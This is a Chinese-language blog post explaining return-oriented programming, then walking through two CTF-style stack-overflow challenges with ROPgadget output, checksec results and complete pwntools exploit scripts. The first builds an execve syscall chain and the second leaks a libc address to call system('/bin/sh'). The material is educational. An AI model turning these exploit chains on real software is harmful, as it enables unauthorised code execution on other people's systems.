• Home
  • About
    • tearorca photo

      tearorca

      Wishful thinking have to be willing to bet on clothing!

    • Learn More
    • Google+
    • Github
  • Posts
    • All Posts
    • All Tags
  • Projects

Rop的运用

07 Dec 2018

Reading time ~5 minutes

ROP全称为Return-oriented Programming(面向返回的编程)是一种新型的基于代码复用技术的攻击,攻击者从已有的库或可执行文件中提取指令片段,构建恶意代码。

ROP的核心思想:攻击者扫描已有的动态链接库和可执行文件,提取出可以利用的指令片段(gadget),这些指令片段均以ret指令结尾,即用ret指令实现指令片段执行流的衔接。操作系统通过栈来进行函数的调用和返回。函数的调用和返回就是通过压栈和出栈来实现的。每个程序都会维护一个程序运行栈,栈为所有函数共享,每次函数调用,系统会分配一个栈桢给当前被调用函数,用于参数的传递、局部变量的维护、返回地址的填入等。栈帧是程序运行栈的一部分 ,在Linux中 ,通过%esp和 %ebp寄存器维护栈顶指针和栈帧的起始地址 ,%eip是程序计数器寄存器 [1]  。而ROP攻击则是利用以ret结尾的程序片段 ,操作这些栈相关寄存器,控制程序的流程,执行相应的gadget,实施攻击者预设目标 。ROP不同于retum-to-libc攻击之处在于,R0P攻击以ret指令结尾的函数代码片段 ,而不是整个函数本身去完成预定的操作。从广义角度讲 ,return-to-libc攻击是ROP攻的特例。最初ROP攻击实现在x86体系结构下,随后扩展到各种体系结构.。与以往攻击技术不同的是,ROP恶意代码不包含任何指令,将自己的恶意代码隐藏在正常代码中。因而,它可以绕过W⊕X的防御技术

下面以两道题来尝试一下rop的运用

第一题链接:https://pan.baidu.com/s/1R1TI2ERHpz7yNwf86k4mEg

提取码:izc9

32位的文件,

CANARY : disabled

FORTIFY : disabled

NX : ENABLED

PIE : disabled

RELRO : Partial

打开了nx保护。Ida打开

int __cdecl main(int argc, const char **argv, const char **envp)

{

	int v4; // [esp+1Ch] [ebp-64h]

	setvbuf(stdout, 0, 2, 0);

	setvbuf(stdin, 0, 1, 0);

	puts("This time, no system() and NO SHELLCODE!!!");

	puts("What do you plan to do?");

	gets(&v4);

	return 0;

}

看到个gets,典型的栈溢出。查看了字符串,找到

.rodata:080BE408 00000008 C /bin/sh

但没有system。那我们就利用系统调用来获取shell。execve(“/bin/sh”,NULL,NULL)

其中,该程序是 32 位,所以我们需要使得

  • 系统调用号,即 eax 应该为 0xb

  • 第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。

  • 第二个参数,即 ecx 应该为 0

  • 第三个参数,即 edx 应该为 0

而我们如何控制这些寄存器的值 呢?这里就需要使用 gadgets。比如说,现在栈顶是 10,那么如果此时执行了 pop eax,那么现在 eax 的值就为 10。但是我们并不能期待有一段连续的代码可以同时控制对应的寄存器,所以我们需要一段一段控制,这也是我们在 gadgets 最后使用 ret 来再次控制程序执行流程的原因。具体寻找 gadgets 的方法,我们可以使用 ropgadgets 这个工具。

首先,我们来寻找控制 eax 的 gadgets

~/Desktop$ ROPgadget --binary rop --only 'pop|ret' | grep 'eax'

0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret

0x080bb196 : pop eax ; ret

0x0807217a : pop eax ; ret 0x80e

0x0804f704 : pop eax ; ret 3

0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret

可以看到有上述几个都可以控制 eax,我选取第二个来作为 gadgets。

类似的,我们可以得到控制其它寄存器的 gadgets

~/Desktop$ ROPgadget --binary rop --only 'pop|ret' | grep 'ebx'

0x0809dde2 : pop ds ; pop ebx ; pop esi ; pop edi ; ret

0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret

0x0805b6ed : pop ebp ; pop ebx ; pop esi ; pop edi ; ret

0x0809e1d4 : pop ebx ; pop ebp ; pop esi ; pop edi ; ret

0x080be23f : pop ebx ; pop edi ; ret

0x0806eb69 : pop ebx ; pop edx ; ret

0x08092258 : pop ebx ; pop esi ; pop ebp ; ret

0x0804838b : pop ebx ; pop esi ; pop edi ; pop ebp ; ret

0x080a9a42 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x10

0x08096a26 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x14

0x08070d73 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0xc

0x0805ae81 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 4

0x08049bfd : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 8

0x08048913 : pop ebx ; pop esi ; pop edi ; ret

0x08049a19 : pop ebx ; pop esi ; pop edi ; ret 4

0x08049a94 : pop ebx ; pop esi ; ret

0x080481c9 : pop ebx ; ret

0x080d7d3c : pop ebx ; ret 0x6f9

0x08099c87 : pop ebx ; ret 8

0x0806eb91 : pop ecx ; pop ebx ; ret

0x0806336b : pop edi ; pop esi ; pop ebx ; ret

0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret

0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret

0x0806eb68 : pop esi ; pop ebx ; pop edx ; ret

0x0805c820 : pop esi ; pop ebx ; ret

0x08050256 : pop esp ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret

0x0807b6ed : pop ss ; pop ebx ; ret

这里,我选择

0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret

这个可以直接控制其它三个寄存器。

此外,我们需要获得 /bin/sh 字符串对应的地址。

0x080be408 : /bin/sh

可以找到对应的地址,此外,还有 int 0x80 的地址,如下

~/Desktop$ ROPgadget --binary rop --only 'int'

Gadgets information

============================================================

0x08049421 : int 0x80

0x080938fe : int 0xbb

0x080869b5 : int 0xf6

0x0807b4d4 : int 0xfc

同时,也找到对应的地址了。

下面就是对应的 payload,其中 0xb 为 execve 对应的系统调用号。

payload = flat([‘A’ * 112, pop_eax_ret, 0xb, pop_edx_ecx_ebx_ret, 0, 0, binsh, int_0x80])

现在我们还要拿到的就是溢出的位置,溢出填充空间为112.

Exp

#!/usr/bin/env python

from pwn import *

sh = process('./rop')

pop_eax_ret = 0x080bb196

pop_edx_ecx_ebx_ret = 0x0806eb90

int_0x80 = 0x08049421

binsh = 0x80be408

payload = flat(

['A' * 112, pop_eax_ret, 0xb, pop_edx_ecx_ebx_ret, 0, 0, binsh, int_0x80])

sh.sendline(payload)

sh.interactive()

拿到shell

第二题链接:https://pan.baidu.com/s/1Nl415KprP4REu9aiXvlhrw

提取码:0f0d

32位的elf文件,先用ida打看可以看到典型的栈溢出

int __cdecl main(int argc, const char **argv, const char **envp)

{

	char s; // [esp+1Ch] [ebp-64h]

	setvbuf(stdout, 0, 2, 0);

	setvbuf(stdin, 0, 1, 0);

	puts("No surprise anymore, system disappeard QQ.");

	printf("Can you find it !?");

	gets(&s);

	return 0;

}

查保护

gdb-peda$ checksec

CANARY : disabled

FORTIFY : disabled

NX : ENABLED

PIE : disabled

RELRO : Partial

开启了栈不可执行,所以可以明白思路就是rop。查了下函数发现没有system也没有’/bin/sh’,所以我们需要用到libc里面的system和binsh,先计算下覆盖的位置

EBP 0x62616163 ('caab')

ESP 0xffffd1e0 ◂— 0x62616165 ('eaab')

EIP 0x62616164 ('daab')

───────────────────────────────────[ DISASM
]───────────────────────────────────

Invalid address 0x62616164

>>>  cyclic_find('daab')

112

再查下libc可以利用的表

readelf -r ret2libc3

Relocation section '.rel.dyn' at offset 0x394 contains 3 entries:

Offset Info Type Sym.Value Sym. Name

08049ffc 00000506 R_386_GLOB_DAT 00000000 __gmon_start__

0804a040 00000d05 R_386_COPY 0804a040 stdin@GLIBC_2.0

0804a060 00000b05 R_386_COPY 0804a060 stdout@GLIBC_2.0

Relocation section '.rel.plt' at offset 0x3ac contains 10 entries:

Offset Info Type Sym.Value Sym. Name

0804a00c 00000107 R_386_JUMP_SLOT 00000000 printf@GLIBC_2.0

0804a010 00000207 R_386_JUMP_SLOT 00000000 gets@GLIBC_2.0

0804a014 00000307 R_386_JUMP_SLOT 00000000 time@GLIBC_2.0

0804a018 00000407 R_386_JUMP_SLOT 00000000 puts@GLIBC_2.0

0804a01c 00000507 R_386_JUMP_SLOT 00000000 __gmon_start__

0804a020 00000607 R_386_JUMP_SLOT 00000000 srand@GLIBC_2.0

0804a024 00000707 R_386_JUMP_SLOT 00000000 __libc_start_main@GLIBC_2.0

0804a028 00000807 R_386_JUMP_SLOT 00000000 setvbuf@GLIBC_2.0

0804a02c 00000907 R_386_JUMP_SLOT 00000000 rand@GLIBC_2.0

0804a030 00000a07 R_386_JUMP_SLOT 00000000 __isoc99_scanf@GLIBC_2.7

我们选取puts来泄露地址,当然也可以main来泄露。

第一段代码

elf=ELF('ret2libc3')

context.terminal = ['terminator','-x','sh','-c']

put_got=elf.got['puts']

put_plt=elf.plt['puts']

main_symbols=elf.symbols['main']

r=process('./ret2libc3')

pwnlib.gdb.attach(r)

payload=flat(['a'*112,put_plt,main_symbols,put_got])#'a'*112覆盖到了main函数的返回为put_plt,然后再把puts的返回值覆盖到main函数

r.sendlineafter('Can you find it !?', payload)

puts_addr=u32(r.recv()[0:4])#交互泄露puts的地址

上面的代码经过运行之后我们拿到了puts_addr的实际地址,并且程序运行又返回到了main。

通过这个实际地址我们就可以拿到libc的版本号了

libc = LibcSearcher('puts', puts_addr)

第二段代码

libc = LibcSearcher('puts', puts_addr)#通过泄露的puts的地址可以拿到libc的版本

puts_libc=libc.dump('puts')#puts在libc中的地址

base_addr=puts_addr-puts_libc#基地址

system_addr=base_addr+libc.dump('system')

binsh_addr=base_addr+libc.dump('str_bin_sh')

payload=flat(['A' *104,system_addr,'aaaa',binsh_addr])\#注意第二次运行main函数的时候覆盖的位置不同,可以cyclic再计算一遍,'aaaa'就是用来填充位置的。

r.sendlineafter('Can you find it !?', payload)

r.interactive()

完整的exp

#!/usr/bin/env python

#-*- coding:utf-8 -*-

from pwn import *

from LibcSearcher import *

elf=ELF('ret2libc3')

context.terminal = ['terminator','-x','sh','-c']

put_got=elf.got['puts']

put_plt=elf.plt['puts']

main_symbols=elf.symbols['main']

r=process('./ret2libc3')

pwnlib.gdb.attach(r)

payload=flat(['a'*112,put_plt,main_symbols,put_got])#'a'*112覆盖到了main函数的返回为put_plt,然后再把puts的返回值覆盖到main函数

r.sendlineafter('Can you find it !?', payload)

puts_addr=u32(r.recv()[0:4])#交互泄露puts的地址

#r.sendline('aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab')\#用来计算第二次的覆盖位置

libc = LibcSearcher('puts', puts_addr)#通过泄露的puts的地址可以拿到libc的版本

puts_libc=libc.dump('puts')#puts在libc中的地址

base_addr=puts_addr-puts_libc#基地址

system_addr=base_addr+libc.dump('system')

binsh_addr=base_addr+libc.dump('str_bin_sh')

payload=flat(['A' *104,system_addr,'aaaa',binsh_addr])\#注意第二次运行main函数的时候覆盖的位置不同,可以cyclic再计算一遍,'aaaa'就是用来填充位置的。

r.sendlineafter('Can you find it !?', payload)

r.interactive()

直接运行不知道为什么会卡在这里,但用gdb调试就可以拿到shell

~/Desktop$ python t.py

[*] '/home/katrina/Desktop/ret2libc3'

Arch: i386-32-little

RELRO: Partial RELRO

Stack: No canary found

NX: NX enabled

PIE: No PIE (0x8048000)

[+] Starting local process './ret2libc3': pid 26084

[+]
http://ftp.osuosl.org/pub/ubuntu/pool/main/g/glibc/libc6_2.27-3ubuntu1_i386.deb


Share Tweet +1